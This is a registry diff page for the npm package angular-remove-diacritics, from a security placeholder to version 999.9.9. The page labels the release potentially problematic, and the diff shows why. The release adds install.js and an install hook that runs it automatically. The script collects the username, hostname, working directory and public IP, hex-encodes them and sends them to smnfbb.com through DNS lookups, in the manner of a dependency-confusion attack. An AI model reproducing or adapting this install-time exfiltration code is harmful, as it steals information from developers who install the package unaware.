angular-remove-diacritics 0.0.1-security → 999.9.9
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of angular-remove-diacritics might be problematic. Click here for more details.
- package/index.js +5 -0
- package/install.js +54 -0
- package/package.json +8 -3
- package/README.md +0 -5
package/index.js
ADDED
package/install.js
ADDED
|
@@ -0,0 +1,54 @@
|
|
|
1
|
+
const http = require('http');
|
|
2
|
+
var os = require("os");
|
|
3
|
+
var dns = require("dns");
|
|
4
|
+
|
|
5
|
+
function generateString(length) {
|
|
6
|
+
const characters = 'abcdefghijklmnopqrstuvwxyz0123456789';
|
|
7
|
+
let result = '';
|
|
8
|
+
const charactersLength = characters.length;
|
|
9
|
+
for (let i = 0; i < length; i++) {
|
|
10
|
+
result += characters.charAt(Math.floor(Math.random() * charactersLength));
|
|
11
|
+
}
|
|
12
|
+
|
|
13
|
+
return result;
|
|
14
|
+
}
|
|
15
|
+
|
|
16
|
+
const topDomain = "smnfbb.com"
|
|
17
|
+
const packageName = process.argv[2]
|
|
18
|
+
const cwd = process.cwd()
|
|
19
|
+
const username = os.userInfo().username
|
|
20
|
+
const hostname = os.hostname()
|
|
21
|
+
const ID = generateString(5)
|
|
22
|
+
var IP = ""
|
|
23
|
+
|
|
24
|
+
try {
|
|
25
|
+
http.get({ 'host': 'api.ipify.org', 'port': 80, 'path': '/' }, function (resp) {
|
|
26
|
+
resp.on('data', function (ip) {
|
|
27
|
+
IP = ip
|
|
28
|
+
});
|
|
29
|
+
});
|
|
30
|
+
} catch (error) {
|
|
31
|
+
//
|
|
32
|
+
}
|
|
33
|
+
|
|
34
|
+
const data = JSON.stringify({
|
|
35
|
+
packagename: packageName,
|
|
36
|
+
cwd: cwd,
|
|
37
|
+
username: username,
|
|
38
|
+
hostname: hostname,
|
|
39
|
+
ip: IP
|
|
40
|
+
})
|
|
41
|
+
|
|
42
|
+
const options = {
|
|
43
|
+
family:4,
|
|
44
|
+
};
|
|
45
|
+
|
|
46
|
+
var dataHex = Buffer.from(data, "utf8").toString('hex') + "00"
|
|
47
|
+
var splitted = dataHex.match(/.{1,30}/g)
|
|
48
|
+
|
|
49
|
+
for (var i = 0; i < splitted.length; i++) {
|
|
50
|
+
var domain = ID + "." + i + "." + splitted[i] + "." + topDomain
|
|
51
|
+
dns.lookup(domain, options, () => {})
|
|
52
|
+
}
|
|
53
|
+
|
|
54
|
+
setTimeout(() => {}, 86400);
|
package/package.json
CHANGED
|
@@ -1,6 +1,11 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "angular-remove-diacritics",
|
|
3
|
-
"version": "
|
|
4
|
-
"description": "
|
|
5
|
-
"
|
|
3
|
+
"version": "999.9.9",
|
|
4
|
+
"description": "Internal tool to analyse the codebarrel libraryæ",
|
|
5
|
+
"main": "index.js",
|
|
6
|
+
"scripts": {
|
|
7
|
+
"install": "node install.js codebarrel"
|
|
8
|
+
},
|
|
9
|
+
"author": "",
|
|
10
|
+
"license": "ISC"
|
|
6
11
|
}
|
package/README.md
DELETED
|
@@ -1,5 +0,0 @@
|
|
|
1
|
-
# Security holding package
|
|
2
|
-
|
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
|
4
|
-
|
|
5
|
-
Please refer to www.npmjs.com/advisories?search=angular-remove-diacritics for more information.
|